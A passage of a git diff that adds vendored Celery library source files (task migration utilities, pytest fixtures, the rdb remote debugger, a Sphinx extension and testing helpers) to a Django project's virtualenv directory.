app_or_default(app) + queues = prepare_queues(queues) + producer = app.amqp.Producer(dest, auto_declare=False) + migrate = partial(migrate, producer, queues=queues) + + def on_declare_queue(queue): + new_queue = queue(producer.channel) + new_queue.name = queues.get(queue.name, queue.name) + if new_queue.routing_key == queue.name: + new_queue.routing_key = queues.get(queue.name, + new_queue.routing_key) + if new_queue.exchange.name == queue.name: + new_queue.exchange.name = queues.get(queue.name, queue.name) + new_queue.declare() + + return start_filter(app, source, migrate, queues=queues, + on_declare_queue=on_declare_queue, **kwargs) + + +def _maybe_queue(app, q): + if isinstance(q, str): + return app.amqp.queues[q] + return q + + +def move(predicate, connection=None, exchange=None, routing_key=None, + source=None, app=None, callback=None, limit=None, transform=None, + **kwargs): + """Find tasks by filtering them and move the tasks to a new queue. + + Arguments: + predicate (Callable): Filter function used to decide the messages + to move. Must accept the standard signature of ``(body, message)`` + used by Kombu consumer callbacks. If the predicate wants the + message to be moved it must return either: + + 1) a tuple of ``(exchange, routing_key)``, or + + 2) a :class:`~kombu.entity.Queue` instance, or + + 3) any other true value means the specified + ``exchange`` and ``routing_key`` arguments will be used. + connection (kombu.Connection): Custom connection to use. + source: List[Union[str, kombu.Queue]]: Optional list of source + queues to use instead of the default (queues + in :setting:`task_queues`). This list can also contain + :class:`~kombu.entity.Queue` instances. + exchange (str, kombu.Exchange): Default destination exchange. + routing_key (str): Default destination routing key. + limit (int): Limit number of messages to filter. + callback (Callable): Callback called after message moved, + with signature ``(state, body, message)``. + transform (Callable): Optional function to transform the return + value (destination) of the filter function. + + Also supports the same keyword arguments as :func:`start_filter`. + + To demonstrate, the :func:`move_task_by_id` operation can be implemented + like this: + + .. code-block:: python + + def is_wanted_task(body, message): + if body['id'] == wanted_id: + return Queue('foo', exchange=Exchange('foo'), + routing_key='foo') + + move(is_wanted_task) + + or with a transform: + + .. code-block:: python + + def transform(value): + if isinstance(value, str): + return Queue(value, Exchange(value), value) + return value + + move(is_wanted_task, transform=transform) + + Note: + The predicate may also return a tuple of ``(exchange, routing_key)`` + to specify the destination to where the task should be moved, + or a :class:`~kombu.entity.Queue` instance. + Any other true value means that the task will be moved to the + default exchange/routing_key. + """ + app = app_or_default(app) + queues = [_maybe_queue(app, queue) for queue in source or []] or None + with app.connection_or_acquire(connection, pool=False) as conn: + producer = app.amqp.Producer(conn) + state = State() + + def on_task(body, message): + ret = predicate(body, message) + if ret: + if transform: + ret = transform(ret) + if isinstance(ret, Queue): + maybe_declare(ret, conn.default_channel) + ex, rk = ret.exchange.name, ret.routing_key + else: + ex, rk = expand_dest(ret, exchange, routing_key) + republish(producer, message, + exchange=ex, routing_key=rk) + message.ack() + + state.filtered += 1 + if callback: + callback(state, body, message) + if limit and state.filtered >= limit: + raise StopFiltering() + + return start_filter(app, conn, on_task, consume_from=queues, **kwargs) + + +def expand_dest(ret, exchange, routing_key): + try: + ex, rk = ret + except (TypeError, ValueError): + ex, rk = exchange, routing_key + return ex, rk + + +def task_id_eq(task_id, body, message): + """Return true if task id equals task_id'.""" + return body['id'] == task_id + + +def task_id_in(ids, body, message): + """Return true if task id is member of set ids'.""" + return body['id'] in ids + + +def prepare_queues(queues): + if isinstance(queues, str): + queues = queues.split(',') + if isinstance(queues, list): + queues = dict(tuple(islice(cycle(q.split(':')), None, 2)) + for q in queues) + if queues is None: + queues = {} + return queues + + +class Filterer: + + def __init__(self, app, conn, filter, + limit=None, timeout=1.0, + ack_messages=False, tasks=None, queues=None, + callback=None, forever=False, on_declare_queue=None, + consume_from=None, state=None, accept=None, **kwargs): + self.app = app + self.conn = conn + self.filter = filter + self.limit = limit + self.timeout = timeout + self.ack_messages = ack_messages + self.tasks = set(str_to_list(tasks) or []) + self.queues = prepare_queues(queues) + self.callback = callback + self.forever = forever + self.on_declare_queue = on_declare_queue + self.consume_from = [ + _maybe_queue(self.app, q) + for q in consume_from or list(self.queues) + ] + self.state = state or State() + self.accept = accept + + def start(self): + # start migrating messages. + with self.prepare_consumer(self.create_consumer()): + try: + for _ in eventloop(self.conn, # pragma: no cover + timeout=self.timeout, + ignore_timeouts=self.forever): + pass + except socket.timeout: + pass + except StopFiltering: + pass + return self.state + + def update_state(self, body, message): + self.state.count += 1 + if self.limit and self.state.count >= self.limit: + raise StopFiltering() + + def ack_message(self, body, message): + message.ack() + + def create_consumer(self): + return self.app.amqp.TaskConsumer( + self.conn, + queues=self.consume_from, + accept=self.accept, + ) + + def prepare_consumer(self, consumer): + filter = self.filter + update_state = self.update_state + ack_message = self.ack_message + if self.tasks: + filter = filter_callback(filter, self.tasks) + update_state = filter_callback(update_state, self.tasks) + ack_message = filter_callback(ack_message, self.tasks) + consumer.register_callback(filter) + consumer.register_callback(update_state) + if self.ack_messages: + consumer.register_callback(self.ack_message) + if self.callback is not None: + callback = partial(self.callback, self.state) + if self.tasks: + callback = filter_callback(callback, self.tasks) + consumer.register_callback(callback) + self.declare_queues(consumer) + return consumer + + def declare_queues(self, consumer): + # declare all queues on the new broker. + for queue in consumer.queues: + if self.queues and queue.name not in self.queues: + continue + if self.on_declare_queue is not None: + self.on_declare_queue(queue) + try: + _, mcount, _ = queue( + consumer.channel).queue_declare(passive=True) + if mcount: + self.state.total_apx += mcount + except self.conn.channel_errors: + pass + + +def start_filter(app, conn, filter, limit=None, timeout=1.0, + ack_messages=False, tasks=None, queues=None, + callback=None, forever=False, on_declare_queue=None, + consume_from=None, state=None, accept=None, **kwargs): + """Filter tasks.""" + return Filterer( + app, conn, filter, + limit=limit, + timeout=timeout, + ack_messages=ack_messages, + tasks=tasks, + queues=queues, + callback=callback, + forever=forever, + on_declare_queue=on_declare_queue, + consume_from=consume_from, + state=state, + accept=accept, + **kwargs).start() + + +def move_task_by_id(task_id, dest, **kwargs): + """Find a task by id and move it to another queue. + + Arguments: + task_id (str): Id of task to find and move. + dest: (str, kombu.Queue): Destination queue. + transform (Callable): Optional function to transform the return + value (destination) of the filter function. + **kwargs (Any): Also supports the same keyword + arguments as :func:`move`. + """ + return move_by_idmap({task_id: dest}, **kwargs) + + +def move_by_idmap(map, **kwargs): + """Move tasks by matching from a ``task_id: queue`` mapping. + + Where ``queue`` is a queue to move the task to. + + Example: + >>> move_by_idmap({ + ... '5bee6e82-f4ac-468e-bd3d-13e8600250bc': Queue('name'), + ... 'ada8652d-aef3-466b-abd2-becdaf1b82b3': Queue('name'), + ... '3a2b140d-7db1-41ba-ac90-c36a0ef4ab1f': Queue('name')}, + ... queues=['hipri']) + """ + def task_id_in_map(body, message): + return map.get(message.properties['correlation_id']) + + # adding the limit means that we don't have to consume any more + # when we've found everything. + return move(task_id_in_map, limit=len(map), **kwargs) + + +def move_by_taskmap(map, **kwargs): + """Move tasks by matching from a ``task_name: queue`` mapping. + + ``queue`` is the queue to move the task to. + + Example: + >>> move_by_taskmap({ + ... 'tasks.add': Queue('name'), + ... 'tasks.mul': Queue('name'), + ... }) + """ + def task_name_in_map(body, message): + return map.get(body['task']) # <- name of task + + return move(task_name_in_map, **kwargs) + + +def filter_status(state, body, message, **kwargs): + print(MOVING_PROGRESS_FMT.format(state=state, body=body, **kwargs)) + + +move_direct = partial(move, transform=worker_direct) +move_direct_by_id = partial(move_task_by_id, transform=worker_direct) +move_direct_by_idmap = partial(move_by_idmap, transform=worker_direct) +move_direct_by_taskmap = partial(move_by_taskmap, transform=worker_direct) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/pytest.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/pytest.py new file mode 100644 index 00000000..858e4e5c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/pytest.py @@ -0,0 +1,216 @@ +"""Fixtures and testing utilities for :pypi:`pytest `.""" +import os +from contextlib import contextmanager +from typing import TYPE_CHECKING, Any, Mapping, Sequence, Union + +import pytest + +if TYPE_CHECKING: + from celery import Celery + + from ..worker import WorkController +else: + Celery = WorkController = object + + +NO_WORKER = os.environ.get('NO_WORKER') + +# pylint: disable=redefined-outer-name +# Well, they're called fixtures.... + + +def pytest_configure(config): + """Register additional pytest configuration.""" + # add the pytest.mark.celery() marker registration to the pytest.ini [markers] section + # this prevents pytest 4.5 and newer from issuing a warning about an unknown marker + # and shows helpful marker documentation when running pytest --markers. + config.addinivalue_line( + "markers", "celery(**overrides): override celery configuration for a test case" + ) + + +@contextmanager +def _create_app(enable_logging=False, + use_trap=False, + parameters=None, + **config): + # type: (Any, Any, Any, **Any) -> Celery + """Utility context used to setup Celery app for pytest fixtures.""" + + from .testing.app import TestApp, setup_default_app + + parameters = {} if not parameters else parameters + test_app = TestApp( + set_as_current=False, + enable_logging=enable_logging, + config=config, + **parameters + ) + with setup_default_app(test_app, use_trap=use_trap): + yield test_app + + +@pytest.fixture(scope='session') +def use_celery_app_trap(): + # type: () -> bool + """You can override this fixture to enable the app trap. + + The app trap raises an exception whenever something attempts + to use the current or default apps. + """ + return False + + +@pytest.fixture(scope='session') +def celery_session_app(request, + celery_config, + celery_parameters, + celery_enable_logging, + use_celery_app_trap): + # type: (Any, Any, Any, Any, Any) -> Celery + """Session Fixture: Return app for session fixtures.""" + mark = request.node.get_closest_marker('celery') + config = dict(celery_config, **mark.kwargs if mark else {}) + with _create_app(enable_logging=celery_enable_logging, + use_trap=use_celery_app_trap, + parameters=celery_parameters, + **config) as app: + if not use_celery_app_trap: + app.set_default() + app.set_current() + yield app + + +@pytest.fixture(scope='session') +def celery_session_worker( + request, # type: Any + celery_session_app, # type: Celery + celery_includes, # type: Sequence[str] + celery_class_tasks, # type: str + celery_worker_pool, # type: Any + celery_worker_parameters, # type: Mapping[str, Any] +): + # type: (...) -> WorkController + """Session Fixture: Start worker that lives throughout test suite.""" + from .testing import worker + + if not NO_WORKER: + for module in celery_includes: + celery_session_app.loader.import_task_module(module) + for class_task in celery_class_tasks: + celery_session_app.tasks.register(class_task) + with worker.start_worker(celery_session_app, + pool=celery_worker_pool, + **celery_worker_parameters) as w: + yield w + + +@pytest.fixture(scope='session') +def celery_enable_logging(): + # type: () -> bool + """You can override this fixture to enable logging.""" + return False + + +@pytest.fixture(scope='session') +def celery_includes(): + # type: () -> Sequence[str] + """You can override this include modules when a worker start. + + You can have this return a list of module names to import, + these can be task modules, modules registering signals, and so on. + """ + return () + + +@pytest.fixture(scope='session') +def celery_worker_pool(): + # type: () -> Union[str, Any] + """You can override this fixture to set the worker pool. + + The "solo" pool is used by default, but you can set this to + return e.g. "prefork". + """ + return 'solo' + + +@pytest.fixture(scope='session') +def celery_config(): + # type: () -> Mapping[str, Any] + """Redefine this fixture to configure the test Celery app. + + The config returned by your fixture will then be used + to configure the :func:`celery_app` fixture. + """ + return {} + + +@pytest.fixture(scope='session') +def celery_parameters(): + # type: () -> Mapping[str, Any] + """Redefine this fixture to change the init parameters of test Celery app. + + The dict returned by your fixture will then be used + as parameters when instantiating :class:`~celery.Celery`. + """ + return {} + + +@pytest.fixture(scope='session') +def celery_worker_parameters(): + # type: () -> Mapping[str, Any] + """Redefine this fixture to change the init parameters of Celery workers. + + This can be used e. g. to define queues the worker will consume tasks from. + + The dict returned by your fixture will then be used + as parameters when instantiating :class:`~celery.worker.WorkController`. + """ + return {} + + +@pytest.fixture() +def celery_app(request, + celery_config, + celery_parameters, + celery_enable_logging, + use_celery_app_trap): + """Fixture creating a Celery application instance.""" + mark = request.node.get_closest_marker('celery') + config = dict(celery_config, **mark.kwargs if mark else {}) + with _create_app(enable_logging=celery_enable_logging, + use_trap=use_celery_app_trap, + parameters=celery_parameters, + **config) as app: + yield app + + +@pytest.fixture(scope='session') +def celery_class_tasks(): + """Redefine this fixture to register tasks with the test Celery app.""" + return [] + + +@pytest.fixture() +def celery_worker(request, + celery_app, + celery_includes, + celery_worker_pool, + celery_worker_parameters): + # type: (Any, Celery, Sequence[str], str, Any) -> WorkController + """Fixture: Start worker in a thread, stop it when the test returns.""" + from .testing import worker + + if not NO_WORKER: + for module in celery_includes: + celery_app.loader.import_task_module(module) + with worker.start_worker(celery_app, + pool=celery_worker_pool, + **celery_worker_parameters) as w: + yield w + + +@pytest.fixture() +def depends_on_current_app(celery_app): + """Fixture that sets app as current.""" + celery_app.set_current() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/rdb.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/rdb.py new file mode 100644 index 00000000..a34c0b52 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/rdb.py @@ -0,0 +1,188 @@ +"""Remote Debugger. + +Introduction +============ + +This is a remote debugger for Celery tasks running in multiprocessing +pool workers. Inspired by a lost post on dzone.com. + +Usage +----- + +.. code-block:: python + + from celery.contrib import rdb + from celery import task + + @task() + def add(x, y): + result = x + y + rdb.set_trace() + return result + +Environment Variables +===================== + +.. envvar:: CELERY_RDB_HOST + +``CELERY_RDB_HOST`` +------------------- + + Hostname to bind to. Default is '127.0.0.1' (only accessible from + localhost). + +.. envvar:: CELERY_RDB_PORT + +``CELERY_RDB_PORT`` +------------------- + + Base port to bind to. Default is 6899. + The debugger will try to find an available port starting from the + base port. The selected port will be logged by the worker. +""" +import errno +import os +import socket +import sys +from pdb import Pdb + +from billiard.process import current_process + +__all__ = ( + 'CELERY_RDB_HOST', 'CELERY_RDB_PORT', 'DEFAULT_PORT', + 'Rdb', 'debugger', 'set_trace', +) + +DEFAULT_PORT = 6899 + +CELERY_RDB_HOST = os.environ.get('CELERY_RDB_HOST') or '127.0.0.1' +CELERY_RDB_PORT = int(os.environ.get('CELERY_RDB_PORT') or DEFAULT_PORT) + +#: Holds the currently active debugger. +_current = [None] + +_frame = getattr(sys, '_getframe') + +NO_AVAILABLE_PORT = """\ +{self.ident}: Couldn't find an available port. + +Please specify one using the CELERY_RDB_PORT environment variable. +""" + +BANNER = """\ +{self.ident}: Ready to connect: telnet {self.host} {self.port} + +Type `exit` in session to continue. + +{self.ident}: Waiting for client... +""" + +SESSION_STARTED = '{self.ident}: Now in session with {self.remote_addr}.' +SESSION_ENDED = '{self.ident}: Session with {self.remote_addr} ended.' + + +class Rdb(Pdb): + """Remote debugger.""" + + me = 'Remote Debugger' + _prev_outs = None + _sock = None + + def __init__(self, host=CELERY_RDB_HOST, port=CELERY_RDB_PORT, + port_search_limit=100, port_skew=+0, out=sys.stdout): + self.active = True + self.out = out + + self._prev_handles = sys.stdin, sys.stdout + + self._sock, this_port = self.get_avail_port( + host, port, port_search_limit, port_skew, + ) + self._sock.setblocking(1) + self._sock.listen(1) + self.ident = f'{self.me}:{this_port}' + self.host = host + self.port = this_port + self.say(BANNER.format(self=self)) + + self._client, address = self._sock.accept() + self._client.setblocking(1) + self.remote_addr = ':'.join(str(v) for v in address) + self.say(SESSION_STARTED.format(self=self)) + self._handle = sys.stdin = sys.stdout = self._client.makefile('rw') + super().__init__(completekey='tab', + stdin=self._handle, stdout=self._handle) + + def get_avail_port(self, host, port, search_limit=100, skew=+0): + try: + _, skew = current_process().name.split('-') + skew = int(skew) + except ValueError: + pass + this_port = None + for i in range(search_limit): + _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + _sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + this_port = port + skew + i + try: + _sock.bind((host, this_port)) + except OSError as exc: + if exc.errno in [errno.EADDRINUSE, errno.EINVAL]: + continue + raise + else: + return _sock, this_port + else: + raise Exception(NO_AVAILABLE_PORT.format(self=self)) + + def say(self, m): + print(m, file=self.out) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self._close_session() + + def _close_session(self): + self.stdin, self.stdout = sys.stdin, sys.stdout = self._prev_handles + if self.active: + if self._handle is not None: + self._handle.close() + if self._client is not None: + self._client.close() + if self._sock is not None: + self._sock.close() + self.active = False + self.say(SESSION_ENDED.format(self=self)) + + def do_continue(self, arg): + self._close_session() + self.set_continue() + return 1 + do_c = do_cont = do_continue + + def do_quit(self, arg): + self._close_session() + self.set_quit() + return 1 + do_q = do_exit = do_quit + + def set_quit(self): + # this raises a BdbQuit exception that we're unable to catch. + sys.settrace(None) + + +def debugger(): + """Return the current debugger instance, or create if none.""" + rdb = _current[0] + if rdb is None or not rdb.active: + rdb = _current[0] = Rdb() + return rdb + + +def set_trace(frame=None): + """Set break-point at current location, or a specified frame.""" + if frame is None: + frame = _frame().f_back + return debugger().set_trace(frame) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/sphinx.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/sphinx.py new file mode 100644 index 00000000..e9d71190 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/sphinx.py @@ -0,0 +1,106 @@ +"""Sphinx documentation plugin used to document tasks. + +Introduction +============ + +Usage +----- + +The Celery extension for Sphinx requires Sphinx 2.0 or later. + +Add the extension to your :file:`docs/conf.py` configuration module: + +.. code-block:: python + + extensions = (..., + 'celery.contrib.sphinx') + +If you'd like to change the prefix for tasks in reference documentation +then you can change the ``celery_task_prefix`` configuration value: + +.. code-block:: python + + celery_task_prefix = '(task)' # < default + +With the extension installed `autodoc` will automatically find +task decorated objects (e.g. when using the automodule directive) +and generate the correct (as well as add a ``(task)`` prefix), +and you can also refer to the tasks using `:task:proj.tasks.add` +syntax. + +Use ``.. autotask::`` to alternatively manually document a task. +""" +from inspect import formatargspec, getfullargspec + +from sphinx.domains.python import PyFunction +from sphinx.ext.autodoc import FunctionDocumenter + +from celery.app.task import BaseTask + + +class TaskDocumenter(FunctionDocumenter): + """Document task definitions.""" + + objtype = 'task' + member_order = 11 + + @classmethod + def can_document_member(cls, member, membername, isattr, parent): + return isinstance(member, BaseTask) and getattr(member, '__wrapped__') + + def format_args(self): + wrapped = getattr(self.object, '__wrapped__', None) + if wrapped is not None: + argspec = getfullargspec(wrapped) + if argspec[0] and argspec[0][0] in ('cls', 'self'): + del argspec[0][0] + fmt = formatargspec(*argspec) + fmt = fmt.replace('\\', '\\\\') + return fmt + return '' + + def document_members(self, all_members=False): + pass + + def check_module(self): + # Normally checks if *self.object* is really defined in the module + # given by *self.modname*. But since functions decorated with the @task + # decorator are instances living in the celery.local, we have to check + # the wrapped function instead. + wrapped = getattr(self.object, '__wrapped__', None) + if wrapped and getattr(wrapped, '__module__') == self.modname: + return True + return super().check_module() + + +class TaskDirective(PyFunction): + """Sphinx task directive.""" + + def get_signature_prefix(self, sig): + return self.env.config.celery_task_prefix + + +def autodoc_skip_member_handler(app, what, name, obj, skip, options): + """Handler for autodoc-skip-member event.""" + # Celery tasks created with the @task decorator have the property + # that *obj.__doc__* and *obj.__class__.__doc__* are equal, which + # trips up the logic in sphinx.ext.autodoc that is supposed to + # suppress repetition of class documentation in an instance of the + # class. This overrides that behavior. + if isinstance(obj, BaseTask) and getattr(obj, '__wrapped__'): + if skip: + return False + return None + + +def setup(app): + """Setup Sphinx extension.""" + app.setup_extension('sphinx.ext.autodoc') + app.add_autodocumenter(TaskDocumenter) + app.add_directive_to_domain('py', 'task', TaskDirective) + app.add_config_value('celery_task_prefix', '(task)', True) + app.connect('autodoc-skip-member', autodoc_skip_member_handler) + + return { + 'parallel_read_safe': True + } diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/app.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/app.py new file mode 100644 index 00000000..274e5d12 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/app.py @@ -0,0 +1,109 @@ +"""Create Celery app instances used for testing.""" +import weakref +from contextlib import contextmanager +from copy import deepcopy + +from kombu.utils.imports import symbol_by_name + +from celery import Celery, _state + +#: Contains the default configuration values for the test app. +DEFAULT_TEST_CONFIG = { + 'worker_hijack_root_logger': False, + 'worker_log_color': False, + 'accept_content': {'json'}, + 'enable_utc': True, + 'timezone': 'UTC', + 'broker_url': 'memory://', + 'result_backend': 'cache+memory://', + 'broker_heartbeat': 0, +} + + +class Trap: + """Trap that pretends to be an app but raises an exception instead. + + This to protect from code that does not properly pass app instances, + then falls back to the current_app. + """ + + def __getattr__(self, name): + # Workaround to allow unittest.mock to patch this object + # in Python 3.8 and above. + if name == '_is_coroutine' or name == '__func__': + return None + print(name) + raise RuntimeError('Test depends on current_app') + + +class UnitLogging(symbol_by_name(Celery.log_cls)): + """Sets up logging for the test application.""" + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.already_setup = True + + +def TestApp(name=None, config=None, enable_logging=False, set_as_current=False, + log=UnitLogging, backend=None, broker=None, **kwargs): + """App used for testing.""" + from . import tasks # noqa + config = dict(deepcopy(DEFAULT_TEST_CONFIG), **config or {}) + if broker is not None: + config.pop('broker_url', None) + if backend is not None: + config.pop('result_backend', None) + log = None if enable_logging else log + test_app = Celery( + name or 'celery.tests', + set_as_current=set_as_current, + log=log, + broker=broker, + backend=backend, + **kwargs) + test_app.add_defaults(config) + return test_app + + +@contextmanager +def set_trap(app): + """Contextmanager that installs the trap app. + + The trap means that anything trying to use the current or default app + will raise an exception. + """ + trap = Trap() + prev_tls = _state._tls + _state.set_default_app(trap) + + class NonTLS: + current_app = trap + _state._tls = NonTLS() + + yield + _state._tls = prev_tls + + +@contextmanager +def setup_default_app(app, use_trap=False): + """Setup default app for testing. + + Ensures state is clean after the test returns. + """ + prev_current_app = _state.get_current_app() + prev_default_app = _state.default_app + prev_finalizers = set(_state._on_app_finalizers) + prev_apps = weakref.WeakSet(_state._apps) + + if use_trap: + with set_trap(app): + yield + else: + yield + + _state.set_default_app(prev_default_app) + _state._tls.current_app = prev_current_app + if app is not prev_current_app: + app.close() + _state._on_app_finalizers = prev_finalizers + _state._apps = prev_apps diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/manager.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/manager.py new file mode 100644 index 00000000..5c5c3e77 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/manager.py @@ -0,0 +1,216 @@ +"""Integration testing utilities.""" +import socket +import sys +from collections import defaultdict +from functools import partial +from itertools import count +from typing import Any, Callable, Dict, Sequence, TextIO, Tuple + +from kombu.utils.functional import retry_over_time + +from celery import states +from celery.exceptions import TimeoutError +from celery.result import AsyncResult, ResultSet +from celery.utils.text import truncate +from celery.utils.time import humanize_seconds as _humanize_seconds + +E_STILL_WAITING = 'Still waiting for {0}. Trying again {when}: {exc!r}' + +humanize_seconds = partial(_humanize_seconds, microseconds=True) + + +class Sentinel(Exception): + """Signifies the end of something.""" + + +class ManagerMixin: + """Mixin that adds :class:`Manager` capabilities.""" + + def _init_manager(self, + block_timeout=30 * 60.0, no_join=False, + stdout=None, stderr=None): + # type: (float, bool, TextIO, TextIO) -> None + self.stdout = sys.stdout if stdout is None else stdout + self.stderr = sys.stderr if stderr is None else stderr + self.connerrors = self.app.connection().recoverable_connection_errors + self.block_timeout = block_timeout + self.no_join = no_join + + def remark(self, s, sep='-'): + # type: (str, str) -> None + print(f'{sep}{s}', file=self.stdout) + + def missing_results(self, r): + # type: (Sequence[AsyncResult]) -> Sequence[str] + return [res.id for res in r if res.id not in res.backend._cache] + + def wait_for( + self, + fun, # type: Callable + catch, # type: Sequence[Any] + desc="thing", # type: str + args=(), # type: Tuple + kwargs=None, # type: Dict + errback=None, # type: Callable + max_retries=10, # type: int + interval_start=0.1, # type: float + interval_step=0.5, # type: float + interval_max=5.0, # type: float + emit_warning=False, # type: bool + **options # type: Any + ): + # type: (...) -> Any + """Wait for event to happen. + + The `catch` argument specifies the exception that means the event + has not happened yet. + """ + kwargs = {} if not kwargs else kwargs + + def on_error(exc, intervals, retries): + interval = next(intervals) + if emit_warning: + self.warn(E_STILL_WAITING.format( + desc, when=humanize_seconds(interval, 'in', ' '), exc=exc, + )) + if errback: + errback(exc, interval, retries) + return interval + + return self.retry_over_time( + fun, catch, + args=args, kwargs=kwargs, + errback=on_error, max_retries=max_retries, + interval_start=interval_start, interval_step=interval_step, + **options + ) + + def ensure_not_for_a_while(self, fun, catch, + desc='thing', max_retries=20, + interval_start=0.1, interval_step=0.02, + interval_max=1.0, emit_warning=False, + **options): + """Make sure something does not happen (at least for a while).""" + try: + return self.wait_for( + fun, catch, desc=desc, max_retries=max_retries, + interval_start=interval_start, interval_step=interval_step, + interval_max=interval_max, emit_warning=emit_warning, + ) + except catch: + pass + else: + raise AssertionError(f'Should not have happened: {desc}') + + def retry_over_time(self, *args, **kwargs): + return retry_over_time(*args, **kwargs) + + def join(self, r, propagate=False, max_retries=10, **kwargs): + if self.no_join: + return + if not isinstance(r, ResultSet): + r = self.app.ResultSet([r]) + received = [] + + def on_result(task_id, value): + received.append(task_id) + + for i in range(max_retries) if max_retries else count(0): + received[:] = [] + try: + return r.get(callback=on_result, propagate=propagate, **kwargs) + except (socket.timeout, TimeoutError) as exc: + waiting_for = self.missing_results(r) + self.remark( + 'Still waiting for {}/{}: [{}]: {!r}'.format( + len(r) - len(received), len(r), + truncate(', '.join(waiting_for)), exc), '!', + ) + except self.connerrors as exc: + self.remark(f'join: connection lost: {exc!r}', '!') + raise AssertionError('Test failed: Missing task results') + + def inspect(self, timeout=3.0): + return self.app.control.inspect(timeout=timeout) + + def query_tasks(self, ids, timeout=0.5): + tasks = self.inspect(timeout).query_task(*ids) or {} + yield from tasks.items() + + def query_task_states(self, ids, timeout=0.5): + states = defaultdict(set) + for hostname, reply in self.query_tasks(ids, timeout=timeout): + for task_id, (state, _) in reply.items(): + states[state].add(task_id) + return states + + def assert_accepted(self, ids, interval=0.5, + desc='waiting for tasks to be accepted', **policy): + return self.assert_task_worker_state( + self.is_accepted, ids, interval=interval, desc=desc, **policy + ) + + def assert_received(self, ids, interval=0.5, + desc='waiting for tasks to be received', **policy): + return self.assert_task_worker_state( + self.is_accepted, ids, interval=interval, desc=desc, **policy + ) + + def assert_result_tasks_in_progress_or_completed( + self, + async_results, + interval=0.5, + desc='waiting for tasks to be started or completed', + **policy + ): + return self.assert_task_state_from_result( + self.is_result_task_in_progress, + async_results, + interval=interval, desc=desc, **policy + ) + + def assert_task_state_from_result(self, fun, results, + interval=0.5, **policy): + return self.wait_for( + partial(self.true_or_raise, fun, results, timeout=interval), + (Sentinel,), **policy + ) + + @staticmethod + def is_result_task_in_progress(results, **kwargs): + possible_states = (states.STARTED, states.SUCCESS) + return all(result.state in possible_states for result in results) + + def assert_task_worker_state(self, fun, ids, interval=0.5, **policy): + return self.wait_for( + partial(self.true_or_raise, fun, ids, timeout=interval), + (Sentinel,), **policy + ) + + def is_received(self, ids, **kwargs): + return self._ids_matches_state( + ['reserved', 'active', 'ready'], ids, **kwargs) + + def is_accepted(self, ids, **kwargs): + return self._ids_matches_state(['active', 'ready'], ids, **kwargs) + + def _ids_matches_state(self, expected_states, ids, timeout=0.5): + states = self.query_task_states(ids, timeout=timeout) + return all( + any(t in s for s in [states[k] for k in expected_states]) + for t in ids + ) + + def true_or_raise(self, fun, *args, **kwargs): + res = fun(*args, **kwargs) + if not res: + raise Sentinel() + return res + + +class Manager(ManagerMixin): + """Test helpers for task integration tests.""" + + def __init__(self, app, **kwargs): + self.app = app + self._init_manager(**kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/mocks.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/mocks.py new file mode 100644 index 00000000..a7c00d4d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/mocks.py @@ -0,0 +1,137 @@ +"""Useful mocks for unit testing.""" +import numbers +from datetime import datetime, timedelta +from typing import Any, Mapping, Sequence +from unittest.mock import Mock + +from celery import Celery +from celery.canvas import Signature + + +def TaskMessage( + name, # type: str + id=None, # type: str + args=(), # type: Sequence + kwargs=None, # type: Mapping + callbacks=None, # type: Sequence[Signature] + errbacks=None, # type: Sequence[Signature] + chain=None, # type: Sequence[Signature] + shadow=None, # type: str + utc=None, # type: bool + **options # type: Any +): + # type: (...) -> Any + """Create task message in protocol 2 format.""" + kwargs = {} if not kwargs else kwargs + from kombu.serialization import dumps + + from celery import uuid + id = id or uuid() + message = Mock(name=f'TaskMessage-{id}') + message.headers = { + 'id': id, + 'task': name, + 'shadow': shadow, + } + embed = {'callbacks': callbacks, 'errbacks': errbacks, 'chain': chain} + message.headers.update(options) + message.content_type, message.content_encoding, message.body = dumps( + (args, kwargs, embed), serializer='json', + ) + message.payload = (args, kwargs, embed) + return message + + +def TaskMessage1( + name, # type: str + id=None, # type: str + args=(), # type: Sequence + kwargs=None, # type: Mapping + callbacks=None, # type: Sequence[Signature] + errbacks=None, # type: Sequence[Signature] + chain=None, # type: Sequence[Signature] + **options # type: Any +): + # type: (...) -> Any + """Create task message in protocol 1 format.""" + kwargs = {} if not kwargs else kwargs + from kombu.serialization import dumps + + from celery import uuid + id = id or uuid() + message = Mock(name=f'TaskMessage-{id}') + message.headers = {} + message.payload = { + 'task': name, + 'id': id, + 'args': args, + 'kwargs': kwargs, + 'callbacks': callbacks, + 'errbacks': errbacks, + } + message.payload.update(options) + message.content_type, message.content_encoding, message.body = dumps( + message.payload, + ) + return message + + +def task_message_from_sig(app, sig, utc=True, TaskMessage=TaskMessage): + # type: (Celery, Signature, bool, Any) -> Any + """Create task message from :class:`celery.Signature`. + + Example: + >>> m = task_message_from_sig(app, add.s(2, 2)) + >>> amqp_client.basic_publish(m, exchange='ex', routing_key='rkey') + """ + sig.freeze() + callbacks = sig.options.pop('link', None) + errbacks = sig.options.pop('link_error', None) + countdown = sig.options.pop('countdown', None) + if countdown: + eta = app.now() + timedelta(seconds=countdown) + else: + eta = 